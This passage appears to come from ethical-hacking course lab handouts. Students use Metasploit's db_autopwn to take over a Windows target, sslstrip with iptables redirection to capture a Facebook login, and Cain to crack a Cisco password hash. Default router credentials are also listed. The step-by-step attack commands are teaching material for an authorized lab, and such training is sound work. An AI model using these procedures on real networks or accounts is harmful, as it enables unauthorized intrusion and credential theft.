
3. Insert the bt2 CD and restart your "Hacker Computer".  If it won't boot from the CD, press F2 to enter the BIOS settings page and set it to boot from the CD.  If it asks for a BIOS Password, press the Enter key.

4. You should see a message beginning ISOLONUX.  At the boot: prompt, press the Enter key.  Several pages of text scroll by as Linux boots.

5. When you see a page with a bt login: prompt, type in this username and press the Enter key:

root
6. At the Password: prompt, type in this password and press the Enter key:

toor 
7. At the bt ~ # prompt, type in this command and press the Enter key:

startx

8. A graphical desktop should appear.  

Checking Network Connectivity

9. Click the Konsole button, as shown to the right on this page.

10. In the "Shell - Konsole" window, type this command and then press the Enter key:

ping 192.168.1.101
Replace 192.168.1.101 with the "Target IP" you wrote in the box above on this page.
11. You should see replies.  If you don't, you need to troubleshoot the networking before you proceed further.

Starting Metasploit Pgsql (autopwn)

12. Click the Konsole button, Backtrack, Penetration, "Metasploit Exploitation Framework", "Framework Version 3", "Init Pgsql (autopwn)", as shown below on this page.

 

13. A "Shell – Init Pgswl (autopwn)" window opens.  A screen or more of text should scroll by, and then a brief page of instructions should appear, as shown below on this page.



Starting the Postgres Database

14. Leave the "Shell – Init Pgswl (autopwn)" window alone.

15. In the "Shell – Konsole" window, type in this command, and then press the Enter key:

su – postgres

An "Operation not permitted" error message appears.  Disregard it—that is normal.  This command launches the Postgres database, which Metasploit uses.
Starting the Metasploit Framework

16. In the "Shell – Konsole" window, type in this command, and then press the Enter key:

cd /pentest/exploits/framework3

This changes the working directory to the correct one for Metasploit version 3..
17. In the "Shell – Konsole" window, type in this command, and then press the Enter key:

./msfconsole

This launches Metasploit in console mode, which we have used before in the previous class.  
Creating a Database

18. You should see a Metasploit banner, and a msf > prompt.  Type in this command, and then press the Enter key:

load db_postgres

This loads the Metasploit database plugin.

19. At the msf > prompt, type in this command, and then press the Enter key:

db_create nmapDataBase

A screen full of error messages zips by, saying that tables do not exist, ending with the message "Database creation complete (check for errors)".  This is normal.  This command has created the database.
Running a Nmap Port Scan from Metasploit

20. At the msf > prompt, type in this command, and then press the Enter key:

db_nmap –P0 192.168.1.101
Replace 192.168.1.101 with the "Target IP" you wrote in the box on a previous page.

21. An Nmap scan runs, as shown to the right on this page.  The target should have several ports open.

Automatically Exploiting the Target

22. At the msf > prompt, type in this command, and then press the Enter key:

db_hosts
You should see the IP address of your target machine, indicating that it is in the database as a target.

23. At the msf > prompt, type in this command, and then press the Enter key:

db_autopwn –p –t –e –s -b
Metasploit runs a series of exploits automatically against the target.  When the screen stops scrolling, press the Enter key.

24. At the msf > prompt, type in this command, and then press the Enter key:

sessions -l
Metasploit lists the open sessions created by exploits that succeeded, as shown below on this page.  In my example. Only one exploit succeeded.
25. At the msf > prompt, type in this command, and then press the Enter key:

sessions –i 1
26. You should see a Windows 2000 command prompt, as shown below on this page.  This demonstrates that you now control the Target Machine.


Saving the Screen Image on the Desktop
27. On the Backtrack 2 desktop, click Start, Screenshot.

28. In the Screenshot window, click the "Save As…" button.

29. In the "Save as – Screenshot" window, in the unlabelled box on the upper right, click the arrow and select /root/desktop.
30. In the "Save as – Screenshot" window, in the Location: box, type in a filename of 
Yourname-ProjX2.jpg
31. Click the Save button.  Your file should appear on the desktop.

Turning in your Project

32. In Firefox, go to a Web-based email service you feel comfortable using in S214 – it should be one with a password you don't use anywhere else.

33. Email the JPEG images to me as attachments.  Send the message to cnit.123@gmail.com with a subject line of Proj X2 From Your Name.  Send a Cc to yourself.
Credits
This is from a video in the Issue 3/2008 of Hakin9, by Lou Lombardy.

Last modified 8-5-08
What You Need for This Project
· A computer running Linux to be the Attacker (I wrote the instructions on a Ubuntu 8.04 virtual machine).

· A second computer running any OS to be the Target.  I used my Windows 7 host machine as the target.

Goal
The Attacker will serve as a proxy, converting secure HTTPS sessions to insecure HTTP ones.  This will not be obvious to the user.  

Starting the Target Machine
65. If you are working in S214, boot your PC to Windows XP.  This will be your Target machine.  

66. Open a browser on your Target machine and make sure you can connect to the Internet.

Opening Facebook on the Target Machine
67. On your Target machine, in Firefox, go to facebook.com.  Notice that this page is not secure—the URL starts with http instead of https, as shown below on this page.


68. On your Target machine, in Firefox, click View, "Page Source".  In the "Source of http://www.facebook.com" window, click Edit, Find.  In the Find: box at the bottom of the window, type login and click the Next button.

69. You can see the form statement for the login form.  This shows that although the page is not secure, the actual login method uses a URL starting with https.  Many Websites use this system: a single page has both secure and insecure items.  That is the vulnerability we will exploit.

Starting the Attacker Machine
70. Start an Ubuntu 8.04 virtual machine.  That will be your Attacker machine.  

71. Open a browser on your Attacker machine and make sure you can connect to the Internet.

Downloading SSLstrip
72. On the Attacker Linux machine, open Firefox and go to this URL: 

thoughtcrime.org
73. Click Software.  On the next page, click sslstrip.  In the Download section, Click sslstrip.  At the time I wrote this (Mar. 4, 2009), it was at version 0.2.

74. Save the file on your desktop.

75. On your desktop, right-click the sslstrip-0.2.tar.gz file and click "Extract Here".

76. On your desktop, double-click the sslstrip-0.2 folder to open it.

77. Right-click README and click Open.  A box pops up asking "Do you want to run "README", or display its contents?".  Click the Display button.  Read through the instructions—that's a quick summary of what we are doing here.

78. Close the README window.

Starting IP Forwarding on the Attacker Machine
79. On the Attacker Linux machine, click Applications, Accessories, Terminal.  In the Terminal window, type this command.  Then press the Enter key.  

sudo pico /etc/sysctl.conf 

Enter your password when you are prompted to.

80. Scroll down and find the line that says "#Uncomment the next line to enable packet forwarding for IPv4".  Remove the # at the start of the next line, as shown below on this page.


81. Press Ctrl+X, Y, Enter to save the file.

Setting iptables to redirect HTTP requests
82. On the Attacker Linux machine, in a Terminal window, type this command.  Then press the Enter key.  

sudo iptables –t nat –A PREROUTING –p tcp 
--destination-port 80 –j REDIRECT --to-port 8080 

83. In the Terminal window, type this command, and then press the Enter key:

sudo iptables –t nat -L 

84. You should see one rule in the REROUTING chain, as shown below on this page.  Check it carefully.  If you find any mistake, use this command to delete the rule: sudo iptables –t nat –D PREROUTING 1 and then repeat the commands above to re-create it without the error. 
 

Starting sslstrip
85. On the Attacker Linux machine, in a Terminal window, type this command.  Then press the Enter key.  

cd ~/Desktop/sslstrip-0.2
86. On the Attacker Linux machine, in a Terminal window, type this command.  Then press the Enter key.  

sudo python sslstrip.py -h
A help message appears, showing the options.  There aren't many of them. 

87. On the Attacker Linux machine, in a Terminal window, type this command.  Then press the Enter key.  

sudo python sslstrip.py –l 8080
Finding the Attacker Machine's IP Address
88. On your Attacker machine, click Applications, Accessories, Terminal.  Type in ifconfig and press the Enter key.

89. Find your IP address and write it in the box to the right on this page.  In S214, your IP address will start with 192.168.1.

Setting Firefox to Use a Proxy Server on the Target Machine
90. In a real attack, we would redirect traffic by ARP poisoning.  But for this project, we'll just set the proxy within Firefox.   That makes the project easier to do, because it won't affect other machines in the lab.

91. On the Target machine (the Windows XP host), open Firefox.  From the Firefox menu bar, click Tools, Options.  

92. In the Options box, click the Advanced button.   Click the Network tab.  Click the Settings… button.  Click the "Manual proxy configuration" button.  Set the HTTP Proxy to the Attacker IP address you wrote in the box above on this page.  Set the Port to 8080.  Check the "Use this proxy server for all protocols" box.

93. In the "Connection Settings" box, click OK.  In the Options box, click OK.

Opening Facebook on the Target Machine
94. On your Target machine, in Firefox, go to facebook.com.  Click View, "Page Source".  In the "Source of http://www.facebook.com" window, click Edit, Find.  In the Find: box at the bottom of the window, type login and click the Next button.

95. Now the form statement uses http, not https!  This is the magic of SSLstrip—it acts as a proxy, replacing all secure connections with insecure ones.  There is nothing the user can see to detect this in the normal Web page view.


96. Close the "Source of http://www.facebook.com" window.  In the Facebook page, log in with this account:

User name:
cnit.target@gmail.com
Password:
P@ssw0rd

Click the Login button.

Viewing the Captured Traffic
97. On the Attacker Linux machine, you should see a lot of messages scrolling by as sslstrip forwards the traffic.  Open a new Terminal window and type this command.  Then press the Enter key.  

pico ~/Desktop/sslstrip-0.2/sskstrip.log
98. This shows the captured traffic.  To find the captured password, press Ctrl+W.  Then type in cnit  and press Enter.  You should see the captured password as shown below on this page.




Capturing a Screen Image
99. Make sure the captured password of P%40ssw0rd is visible on the screen.

100. Click on the host Windows desktop to make the host machine active.

101. Press the PrintScrn key in the upper-right portion of the keyboard.  

102. Click Start, Programs, Accessories, Paint.  In the untitled - Paint window, select Edit, Paste from the menu bar.  

103. In the untitled - Paint window, click File, Save.  Select a Save as type of JPEG.  Save the document with the filename Your Name Proj X3. 

Turning in Your Project
104. Email the JPEG image to me as attachments to one e-mail message.  Send it to: cnit.124@gmail.com with a subject line of Proj X3 From Your Name, replacing Your Name with your own first and last name.  Send a Cc to yourself.

Returning Firefox to Normal Function
105. On the Target machine, from the Firefox window's menu bar, click Tools, Options.  In the Options box, click the Advanced button.  Click the Network tab.  In the Connection section, click the Settings button.  In the "Connection Settings" box, click the "Direct connection to the Internet" radio button.  In the "Connection Settings" box, click OK.  In the Options box, click OK.


Last Modified: 3-4-09
What You Need for This Project
· Any Windows computer you have Administrator privileges on.  The instructions below assume you are using Windows 7 Beta in S214.

· Packet Tracer, the Cisco router simulator.  You can get it from your instructor.  I wrote these instructions with Packet Tracer 5.1, but any version should be fine.

Install Packet Tracer

106. Install Packet Tracer with the default options.

Simulating a Cisco Router with Packet Tracer

107. Launch Packet Tracer.

108. In the lower left corner of the “Cisco Packet Tracer” window, click the Router icon, as shown to the right on this page.

109. In the lower center of the “Cisco Packet Tracer” window, drag the 1841 icon into the white center pane, as shown to the right on this page.

Adding a Password to the Router

110. In the center of the “Cisco Packet Tracer” window, double-click the "1841 Router 0" icon.

111. In the "Router0" window, click the CLI tab, as shown in the figure on the next page. 
112. At the "Continue with configuration dialog? [yes/no]" prompt, press n and then press the Enter key twice.

113. You should see a Router> prompt.  This is the Cisco IOS, which is a lot like Linux.  The > indicates that you are in Unprivileged Mode, like a non-administrative account.  To enter Privileged mode, type this command, and then press the Enter key:

enable 

114. The prompt changes to Router#.  You are now in Privileged Mode, like root on a Linux computer.  You didn't need a password to elevate your privileges, which is very insecure.  To fix that, you must first enter Global Configuration Mode.  Type this command, and then press the Enter key:

config t
115. The prompt changes to Router(config)#.  To require a password of cisco, type this command, and then press the Enter key:

enable password cisco

116. To exit Global Configuration Mode, type this command, and then press the Enter key:

end
117. To  exit Privileged Mode, type this command, and then press the Enter key:

enable password cisco

118. To exit Global Configuration Mode, type this command, and then press the Enter key:

end
119. To exit Privileged Mode, type this command, and then press the Enter key:

disable 

120. To  re-enter Privileged Mode, type this command, and then press the Enter key:

enable 

121. At the Password: prompt, type a password of cisco and then press the Enter key.

Examining the Configuration File

122. The router is now password-protected, but how secure is the password storage?  To find out, type this command, and then press the Enter key:

show running-config
123. The password is clearly visible, as shown to the right on this page.  

Removing the Plaintext Password

124. Plaintext storage of passwords is very insecure.  To remove that stored password,  type these commands, pressing the Enter key after each command:

config t
no enable password

end
Setting an Encrypted Password

125. Now we will use a really short password of cat to make the password crack fast.  To configure an encrypted password,  type these commands, pressing the Enter key after each command:

config t
enable secret cat

end
126. To see the encrypted password, type this command, and then press the Enter key:

show running-config
127. The password is now hashed, as shown to the right on this page.  

128. Highlight the password hash as shown, right-click the highlighted area, and click Copy.
Installing Cain

129. If you don't already have Cain installed, download it from oxid.it/cain.html and install it:

130. Right-click the Cain shortcut on your desktop and click "Run as Administrator".  

131. In the Cain window, click the Cracker tab.  In the left pane, click the "Cisco IOS MD5 Hashes" item to highlight it.

132. From the Cain toolbar at the top of the window, click the + icon.  An "Add Cisco IOS MD5 Hashes" box opens.  Paste the hash into the upper box and click OK.  The hash should appear in the central pane, as shown to the right on this page.
133. In the central pane of the Cain window, right-click the hash and click "Brute-Force Attack".  In the "Brute-Force Attack" box, click the Start button. 
134. The password should be found in a few seconds, as shown on the next page of these instructions.


Capturing a Screen Image
135. Make sure the plaintext of the password, "cat", is visible, as shown to the right on this page.

136. Press the PrintScrn key in the upper-right portion of the keyboard.  

137. Click Start, Programs, Accessories, Paint.  In the untitled - Paint window, select Edit, Paste from the menu bar.  

138. In the untitled - Paint window, click File, Save.  Select a Save as type of JPEG.  Save the document with the filename Your Name Proj X4. 

Turning in Your Project
139. Email the JPEG images to me as attachments to one e-mail message.  Send it to: cnit.124@gmail.com with a subject line of Proj X4 From Your Name, replacing Your Name with your own first and last name.  Send a Cc to yourself.


Last Modified: 3-12-09
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Warning!  "Ethical Hacking and Network Defense" students will capturing passwords in room S214.  Don't do online shopping, personal e-mailing, or any other private computer work in that lab.  Make up a new password just for that lab.  Nothing you do in that lab is private!





Warning!  "Ethical Hacking and Network Defense" students will capturing passwords in room S214.  Don't do online shopping, personal e-mailing, or any other private computer work in that lab.  Make up a new password just for that lab.  Nothing you do in that lab is private!





Warning!  "Ethical Hacking and Network Defense" students will capturing passwords in room S214.  Don't do online shopping, personal e-mailing, or any other private computer work in that lab.  Make up a new password just for that lab.  Nothing you do in that lab is private!








Ubuntu IP: __________________








Target IP: _________________





Warning: Only use this on networks you own.  Cracking into networks without permission is a crime—don’t do it! 





Konsole


button





Firefox


button





Router Default User Names and Passwords





Linksys: 	User: 		none


		Password:	admin





D-Link: 	User: 		admin


		Password: 	none





Buffalo: 	User: 		root


(OpenWrt)	Password: 	password








Process PID:	 ______________________





Port:		 ______________________








Character	ASCII Code	ASCII Code


	Decimal	Hex





	A	65	41


	B	66	42


	C	67	43








Web Server IP: _______________________





Warning: The USB Switchblade is really nasty—people can steal your passwords with it.  Don't use it on any computer without permission, or even leave the hacked drive lying around.  This is a really scary attack—don't be the victim or offender of anything unethical.








Web Server IP: _______________________








PBX IP: ______________________________





Click here








IP: __________________________________








Gathering Machine IP: __________________________





Firefox








Target IP: _________________








Target IP: _________________________





Konsole


button








Attacker IP: _________________





Router icon





1841 icon
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